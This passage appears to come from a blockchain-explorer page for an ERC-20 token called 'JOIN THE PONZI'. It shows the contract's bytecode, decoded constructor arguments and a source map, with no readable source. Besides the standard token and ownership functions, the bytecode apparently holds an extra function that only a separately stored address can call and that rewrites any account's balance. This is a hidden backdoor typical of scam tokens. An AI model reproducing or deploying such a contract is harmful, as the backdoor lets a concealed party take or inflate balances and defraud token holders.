ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f1f91906114ad565b60405180910390a3505050565b6000838311158290610f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6b919061138b565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081359050611059816118aa565b92915050565b60008135905061106e816118c1565b92915050565b600081359050611083816118d8565b92915050565b60006020828403121561109b57600080fd5b60006110a98482850161104a565b91505092915050565b600080604083850312156110c557600080fd5b60006110d38582860161104a565b92505060206110e48582860161104a565b9150509250929050565b60008060006060848603121561110357600080fd5b60006111118682870161104a565b93505060206111228682870161104a565b92505060406111338682870161105f565b9150509250925092565b6000806040838503121561115057600080fd5b600061115e8582860161104a565b925050602061116f8582860161105f565b9150509250929050565b60008060006060848603121561118e57600080fd5b600061119c8682870161104a565b93505060206111ad86828701611074565b92505060406111be8682870161105f565b9150509250925092565b6111d181611555565b82525050565b6111e081611567565b82525050565b60006111f1826114e3565b6111fb81856114ee565b935061120b8185602086016115aa565b6112148161166d565b840191505092915050565b600061122c6026836114ee565b91506112378261167e565b604082019050919050565b600061124f6026836114ee565b915061125a826116cd565b604082019050919050565b6000611272602b836114ee565b915061127d8261171c565b604082019050919050565b60006112956020836114ee565b91506112a08261176b565b602082019050919050565b60006112b86024836114ee565b91506112c382611794565b604082019050919050565b60006112db6025836114ee565b91506112e6826117e3565b604082019050919050565b60006112fe601b836114ee565b915061130982611832565b602082019050919050565b60006113216023836114ee565b915061132c8261185b565b604082019050919050565b61134081611593565b82525050565b61134f8161159d565b82525050565b600060208201905061136a60008301846111c8565b92915050565b600060208201905061138560008301846111d7565b92915050565b600060208201905081810360008301526113a581846111e6565b905092915050565b600060208201905081810360008301526113c68161121f565b9050919050565b600060208201905081810360008301526113e681611242565b9050919050565b6000602082019050818103600083015261140681611265565b9050919050565b6000602082019050818103600083015261142681611288565b9050919050565b60006020820190508181036000830152611446816112ab565b9050919050565b60006020820190508181036000830152611466816112ce565b9050919050565b60006020820190508181036000830152611486816112f1565b9050919050565b600060208201905081810360008301526114a681611314565b9050919050565b60006020820190506114c26000830184611337565b92915050565b60006020820190506114dd6000830184611346565b92915050565b600081519050919050565b600082825260208201905092915050565b600061150a82611593565b915061151583611593565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561154a5761154961160f565b5b828201905092915050565b600061156082611573565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156115c85780820151818401526020810190506115ad565b838111156115d7576000848401525b50505050565b600060028204905060018216806115f557607f821691505b602082108114156116095761160861163e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206f6620726563697069656e747320616e642076616c7565732060008201527f646f6e2774206d61746368000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f736574207468652063616c6c20746f2074686520656e74657265640000000000600082015250565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6118b381611555565b81146118be57600080fd5b50565b6118ca81611593565b81146118d557600080fd5b50565b6118e18161159d565b81146118ec57600080fd5b5056fe4945524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c1c1e72f19493f5e3d0fa9c99323f0dc575ce9df43e50e67f8c5267634131d8b64736f6c6343000804003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000800000000000000000000000091613821426c2e6d0974ed69f92f9d4914bd0fc40000000000000000000000000000000000000000000000005fc1b97136320000000000000000000000000000000000000000000000000000000000000000000e4a4f494e2054484520504f4e5a4900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044a4f494e00000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806331b221fc146101b457806339509351146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061138b565b60405180910390f35b610132600480360381019061012d919061113d565b6103b4565b60405161013f9190611370565b60405180910390f35b6101506103d2565b60405161015d91906114ad565b60405180910390f35b610180600480360381019061017b91906110ee565b6103dc565b60405161018d9190611370565b60405180910390f35b61019e6104b5565b6040516101ab91906114c8565b60405180910390f35b6101ce60048036038101906101c99190611179565b6104cc565b005b6101ea60048036038101906101e5919061113d565b610601565b6040516101f79190611370565b60405180910390f35b61021a60048036038101906102159190611089565b6106b4565b60405161022791906114ad565b60405180910390f35b6102386106fd565b005b610242610785565b60405161024f9190611355565b60405180910390f35b6102606107ae565b60405161026d919061138b565b60405180910390f35b610290600480360381019061028b919061113d565b610840565b60405161029d9190611370565b60405180910390f35b6102c060048036038101906102bb919061113d565b61090d565b6040516102cd9190611370565b60405180910390f35b6102f060048036038101906102eb91906110b2565b61092b565b6040516102fd91906114ad565b60405180910390f35b610320600480360381019061031b9190611089565b6109b2565b005b606060048054610331906115dd565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906115dd565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610ac0565b8484610ac8565b6001905092915050565b6000600754905090565b60006103e9848484610c93565b6104aa846103f5610ac0565b6104a58560405180606001604052806029815260200161193d60299139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610ac0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2c9092919063ffffffff16565b610ac8565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6104d4610ac0565b73ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055a9061146d565b60405180910390fd5b60018260ff1610156105aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a1906113ed565b60405180910390fd5b600080826105b891906114ff565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b60006106aa61060e610ac0565b846106a5856002600061061f610ac0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aaa90919063ffffffff16565b610ac8565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610705610ac0565b73ffffffffffffffffffffffffffffffffffffffff16610723610785565b73ffffffffffffffffffffffffffffffffffffffff1614610779576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107709061140d565b60405180910390fd5b6107836000610f81565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107bd906115dd565b80601f01602080910402602001604051908101604052809291908181526020018280546107e9906115dd565b80156108365780601f1061080b57610100808354040283529160200191610836565b820191906000526020600020905b81548152906001019060200180831161081957829003601f168201915b5050505050905090565b600061090361084d610ac0565b846108fe856040518060600160405280602681526020016118f06026913960026000610877610ac0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2c9092919063ffffffff16565b610ac8565b6001905092915050565b600061092161091a610ac0565b8484610c93565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109ba610ac0565b73ffffffffffffffffffffffffffffffffffffffff166109d8610785565b73ffffffffffffffffffffffffffffffffffffffff1614610a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a259061140d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a95906113cd565b60405180910390fd5b610aa781610f81565b50565b60008183610ab891906114ff565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2f9061144d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f9061148d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c8691906114ad565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfa906113ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6a9061142d565b60405180910390fd5b610d7e838383611045565b610dea8160405180606001604052806027815260200161191660279139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2c9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7f81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aaa90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f1f91906114ad565b60405180910390a3505050565b6000838311158290610f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6b919061138b565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081359050611059816118aa565b92915050565b60008135905061106e816118c1565b92915050565b600081359050611083816118d8565b92915050565b60006020828403121561109b57600080fd5b60006110a98482850161104a565b91505092915050565b600080604083850312156110c557600080fd5b60006110d38582860161104a565b92505060206110e48582860161104a565b9150509250929050565b60008060006060848603121561110357600080fd5b60006111118682870161104a565b93505060206111228682870161104a565b92505060406111338682870161105f565b9150509250925092565b6000806040838503121561115057600080fd5b600061115e8582860161104a565b925050602061116f8582860161105f565b9150509250929050565b60008060006060848603121561118e57600080fd5b600061119c8682870161104a565b93505060206111ad86828701611074565b92505060406111be8682870161105f565b9150509250925092565b6111d181611555565b82525050565b6111e081611567565b82525050565b60006111f1826114e3565b6111fb81856114ee565b935061120b8185602086016115aa565b6112148161166d565b840191505092915050565b600061122c6026836114ee565b91506112378261167e565b604082019050919050565b600061124f6026836114ee565b915061125a826116cd565b604082019050919050565b6000611272602b836114ee565b915061127d8261171c565b604082019050919050565b60006112956020836114ee565b91506112a08261176b565b602082019050919050565b60006112b86024836114ee565b91506112c382611794565b604082019050919050565b60006112db6025836114ee565b91506112e6826117e3565b604082019050919050565b60006112fe601b836114ee565b915061130982611832565b602082019050919050565b60006113216023836114ee565b915061132c8261185b565b604082019050919050565b61134081611593565b82525050565b61134f8161159d565b82525050565b600060208201905061136a60008301846111c8565b92915050565b600060208201905061138560008301846111d7565b92915050565b600060208201905081810360008301526113a581846111e6565b905092915050565b600060208201905081810360008301526113c68161121f565b9050919050565b600060208201905081810360008301526113e681611242565b9050919050565b6000602082019050818103600083015261140681611265565b9050919050565b6000602082019050818103600083015261142681611288565b9050919050565b60006020820190508181036000830152611446816112ab565b9050919050565b60006020820190508181036000830152611466816112ce565b9050919050565b60006020820190508181036000830152611486816112f1565b9050919050565b600060208201905081810360008301526114a681611314565b9050919050565b60006020820190506114c26000830184611337565b92915050565b60006020820190506114dd6000830184611346565b92915050565b600081519050919050565b600082825260208201905092915050565b600061150a82611593565b915061151583611593565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561154a5761154961160f565b5b828201905092915050565b600061156082611573565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156115c85780820151818401526020810190506115ad565b838111156115d7576000848401525b50505050565b600060028204905060018216806115f557607f821691505b602082108114156116095761160861163e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206f6620726563697069656e747320616e642076616c7565732060008201527f646f6e2774206d61746368000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f736574207468652063616c6c20746f2074686520656e74657265640000000000600082015250565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6118b381611555565b81146118be57600080fd5b50565b6118ca81611593565b81146118d557600080fd5b50565b6118e18161159d565b81146118ec57600080fd5b5056fe4945524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c1c1e72f19493f5e3d0fa9c99323f0dc575ce9df43e50e67f8c5267634131d8b64736f6c63430008040033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000800000000000000000000000091613821426c2e6d0974ed69f92f9d4914bd0fc40000000000000000000000000000000000000000000000005fc1b97136320000000000000000000000000000000000000000000000000000000000000000000e4a4f494e2054484520504f4e5a4900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044a4f494e00000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): JOIN THE PONZI
Arg [1] : symbol_ (string): JOIN
Arg [2] : decimals_ (uint8): 8
Arg [3] : currOwnershipAddr (address): 0x91613821426C2E6d0974ed69f92F9D4914BD0fc4
Arg [4] : totalSupply_ (uint256): 6900000000000000000

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [3] : 00000000000000000000000091613821426c2e6d0974ed69f92f9d4914bd0fc4
Arg [4] : 0000000000000000000000000000000000000000000000005fc1b97136320000
Arg [5] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [6] : 4a4f494e2054484520504f4e5a49000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [8] : 4a4f494e00000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

13827:5858:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14687:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15722:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14988:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15940:455;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14889:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17888:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16403:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15104:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5621:94;;;:::i;:::-;;4970:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14786:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16711:401;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15289:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15513:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5870:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14687:91;14732:13;14765:5;14758:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14687:91;:::o;15722:210::-;15841:4;15863:39;15872:12;:10;:12::i;:::-;15886:7;15895:6;15863:8;:39::i;:::-;15920:4;15913:11;;15722:210;;;;:::o;14988:108::-;15049:7;15076:12;;15069:19;;14988:108;:::o;15940:455::-;16080:4;16097:36;16107:6;16115:9;16126:6;16097:9;:36::i;:::-;16144:221;16167:6;16188:12;:10;:12::i;:::-;16215:139;16271:6;16215:139;;;;;;;;;;;;;;;;;:11;:19;16227:6;16215:19;;;;;;;;;;;;;;;:33;16235:12;:10;:12::i;:::-;16215:33;;;;;;;;;;;;;;;;:37;;:139;;;;;:::i;:::-;16144:8;:221::i;:::-;16383:4;16376:11;;15940:455;;;;;:::o;14889:91::-;14938:5;14963:9;;;;;;;;;;;14956:16;;14889:91;:::o;17888:313::-;17185:12;:10;:12::i;:::-;17173:24;;:8;;;;;;;;;;;:24;;;17155:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;18048:1:::1;18038:6;:11;;;;18016:104;;;;;;;;;;;;:::i;:::-;;;;;;;;;18131:13;18188:5;18183:2;:10;;;;:::i;:::-;18159:9;:21;18169:10;18159:21;;;;;;;;;;;;;;;:34;;;;17250:1;17888:313:::0;;;:::o;16403:300::-;16518:4;16540:133;16563:12;:10;:12::i;:::-;16590:7;16612:50;16651:10;16612:11;:25;16624:12;:10;:12::i;:::-;16612:25;;;;;;;;;;;;;;;:34;16638:7;16612:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;16540:8;:133::i;:::-;16691:4;16684:11;;16403:300;;;;:::o;15104:177::-;15223:7;15255:9;:18;15265:7;15255:18;;;;;;;;;;;;;;;;15248:25;;15104:177;;;:::o;5621:94::-;5201:12;:10;:12::i;:::-;5190:23;;:7;:5;:7::i;:::-;:23;;;5182:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5686:21:::1;5704:1;5686:9;:21::i;:::-;5621:94::o:0;4970:87::-;5016:7;5043:6;;;;;;;;;;;5036:13;;4970:87;:::o;14786:95::-;14833:13;14866:7;14859:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14786:95;:::o;16711:401::-;16831:4;16853:229;16876:12;:10;:12::i;:::-;16903:7;16925:146;16982:15;16925:146;;;;;;;;;;;;;;;;;:11;:25;16937:12;:10;:12::i;:::-;16925:25;;;;;;;;;;;;;;;:34;16951:7;16925:34;;;;;;;;;;;;;;;;:38;;:146;;;;;:::i;:::-;16853:8;:229::i;:::-;17100:4;17093:11;;16711:401;;;;:::o;15289:216::-;15411:4;15433:42;15443:12;:10;:12::i;:::-;15457:9;15468:6;15433:9;:42::i;:::-;15493:4;15486:11;;15289:216;;;;:::o;15513:201::-;15647:7;15679:11;:18;15691:5;15679:18;;;;;;;;;;;;;;;:27;15698:7;15679:27;;;;;;;;;;;;;;;;15672:34;;15513:201;;;;:::o;5870:192::-;5201:12;:10;:12::i;:::-;5190:23;;:7;:5;:7::i;:::-;:23;;;5182:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5979:1:::1;5959:22;;:8;:22;;;;5951:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6035:19;6045:8;6035:9;:19::i;:::-;5870:192:::0;:::o;9056:98::-;9114:7;9145:1;9141;:5;;;;:::i;:::-;9134:12;;9056:98;;;;:::o;3688:::-;3741:7;3768:10;3761:17;;3688:98;:::o;19061:382::-;19214:1;19197:19;;:5;:19;;;;19189:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;19296:1;19277:21;;:7;:21;;;;19269:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;19381:6;19351:11;:18;19363:5;19351:18;;;;;;;;;;;;;;;:27;19370:7;19351:27;;;;;;;;;;;;;;;:36;;;;19419:7;19403:32;;19412:5;19403:32;;;19428:6;19403:32;;;;;;:::i;:::-;;;;;;;;19061:382;;;:::o;17267:613::-;17425:1;17407:20;;:6;:20;;;;17399:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;17510:1;17489:23;;:9;:23;;;;17481:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;17566:47;17587:6;17595:9;17606:6;17566:20;:47::i;:::-;17646:109;17682:6;17646:109;;;;;;;;;;;;;;;;;:9;:17;17656:6;17646:17;;;;;;;;;;;;;;;;:21;;:109;;;;;:::i;:::-;17626:9;:17;17636:6;17626:17;;;;;;;;;;;;;;;:129;;;;17789:32;17814:6;17789:9;:20;17799:9;17789:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;17766:9;:20;17776:9;17766:20;;;;;;;;;;;;;;;:55;;;;17854:9;17837:35;;17846:6;17837:35;;;17865:6;17837:35;;;;;;:::i;:::-;;;;;;;;17267:613;;;:::o;11335:240::-;11455:7;11513:1;11508;:6;;11516:12;11500:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;11555:1;11551;:5;11544:12;;11335:240;;;;;:::o;6070:173::-;6126:16;6145:6;;;;;;;;;;;6126:25;;6171:8;6162:6;;:17;;;;;;;;;;;;;;;;;;6226:8;6195:40;;6216:8;6195:40;;;;;;;;;;;;6070:173;;:::o;19557:125::-;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;198:5;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:135::-;341:5;379:6;366:20;357:29;;395:31;420:5;395:31;:::i;:::-;347:85;;;;:::o;438:262::-;497:6;546:2;534:9;525:7;521:23;517:32;514:2;;;562:1;559;552:12;514:2;605:1;630:53;675:7;666:6;655:9;651:22;630:53;:::i;:::-;620:63;;576:117;504:196;;;;:::o;706:407::-;774:6;782;831:2;819:9;810:7;806:23;802:32;799:2;;;847:1;844;837:12;799:2;890:1;915:53;960:7;951:6;940:9;936:22;915:53;:::i;:::-;905:63;;861:117;1017:2;1043:53;1088:7;1079:6;1068:9;1064:22;1043:53;:::i;:::-;1033:63;;988:118;789:324;;;;;:::o;1119:552::-;1196:6;1204;1212;1261:2;1249:9;1240:7;1236:23;1232:32;1229:2;;;1277:1;1274;1267:12;1229:2;1320:1;1345:53;1390:7;1381:6;1370:9;1366:22;1345:53;:::i;:::-;1335:63;;1291:117;1447:2;1473:53;1518:7;1509:6;1498:9;1494:22;1473:53;:::i;:::-;1463:63;;1418:118;1575:2;1601:53;1646:7;1637:6;1626:9;1622:22;1601:53;:::i;:::-;1591:63;;1546:118;1219:452;;;;;:::o;1677:407::-;1745:6;1753;1802:2;1790:9;1781:7;1777:23;1773:32;1770:2;;;1818:1;1815;1808:12;1770:2;1861:1;1886:53;1931:7;1922:6;1911:9;1907:22;1886:53;:::i;:::-;1876:63;;1832:117;1988:2;2014:53;2059:7;2050:6;2039:9;2035:22;2014:53;:::i;:::-;2004:63;;1959:118;1760:324;;;;;:::o;2090:548::-;2165:6;2173;2181;2230:2;2218:9;2209:7;2205:23;2201:32;2198:2;;;2246:1;2243;2236:12;2198:2;2289:1;2314:53;2359:7;2350:6;2339:9;2335:22;2314:53;:::i;:::-;2304:63;;2260:117;2416:2;2442:51;2485:7;2476:6;2465:9;2461:22;2442:51;:::i;:::-;2432:61;;2387:116;2542:2;2568:53;2613:7;2604:6;2593:9;2589:22;2568:53;:::i;:::-;2558:63;;2513:118;2188:450;;;;;:::o;2644:118::-;2731:24;2749:5;2731:24;:::i;:::-;2726:3;2719:37;2709:53;;:::o;2768:109::-;2849:21;2864:5;2849:21;:::i;:::-;2844:3;2837:34;2827:50;;:::o;2883:364::-;2971:3;2999:39;3032:5;2999:39;:::i;:::-;3054:71;3118:6;3113:3;3054:71;:::i;:::-;3047:78;;3134:52;3179:6;3174:3;3167:4;3160:5;3156:16;3134:52;:::i;:::-;3211:29;3233:6;3211:29;:::i;:::-;3206:3;3202:39;3195:46;;2975:272;;;;;:::o;3253:366::-;3395:3;3416:67;3480:2;3475:3;3416:67;:::i;:::-;3409:74;;3492:93;3581:3;3492:93;:::i;:::-;3610:2;3605:3;3601:12;3594:19;;3399:220;;;:::o;3625:366::-;3767:3;3788:67;3852:2;3847:3;3788:67;:::i;:::-;3781:74;;3864:93;3953:3;3864:93;:::i;:::-;3982:2;3977:3;3973:12;3966:19;;3771:220;;;:::o;3997:366::-;4139:3;4160:67;4224:2;4219:3;4160:67;:::i;:::-;4153:74;;4236:93;4325:3;4236:93;:::i;:::-;4354:2;4349:3;4345:12;4338:19;;4143:220;;;:::o;4369:366::-;4511:3;4532:67;4596:2;4591:3;4532:67;:::i;:::-;4525:74;;4608:93;4697:3;4608:93;:::i;:::-;4726:2;4721:3;4717:12;4710:19;;4515:220;;;:::o;4741:366::-;4883:3;4904:67;4968:2;4963:3;4904:67;:::i;:::-;4897:74;;4980:93;5069:3;4980:93;:::i;:::-;5098:2;5093:3;5089:12;5082:19;;4887:220;;;:::o;5113:366::-;5255:3;5276:67;5340:2;5335:3;5276:67;:::i;:::-;5269:74;;5352:93;5441:3;5352:93;:::i;:::-;5470:2;5465:3;5461:12;5454:19;;5259:220;;;:::o;5485:366::-;5627:3;5648:67;5712:2;5707:3;5648:67;:::i;:::-;5641:74;;5724:93;5813:3;5724:93;:::i;:::-;5842:2;5837:3;5833:12;5826:19;;5631:220;;;:::o;5857:366::-;5999:3;6020:67;6084:2;6079:3;6020:67;:::i;:::-;6013:74;;6096:93;6185:3;6096:93;:::i;:::-;6214:2;6209:3;6205:12;6198:19;;6003:220;;;:::o;6229:118::-;6316:24;6334:5;6316:24;:::i;:::-;6311:3;6304:37;6294:53;;:::o;6353:112::-;6436:22;6452:5;6436:22;:::i;:::-;6431:3;6424:35;6414:51;;:::o;6471:22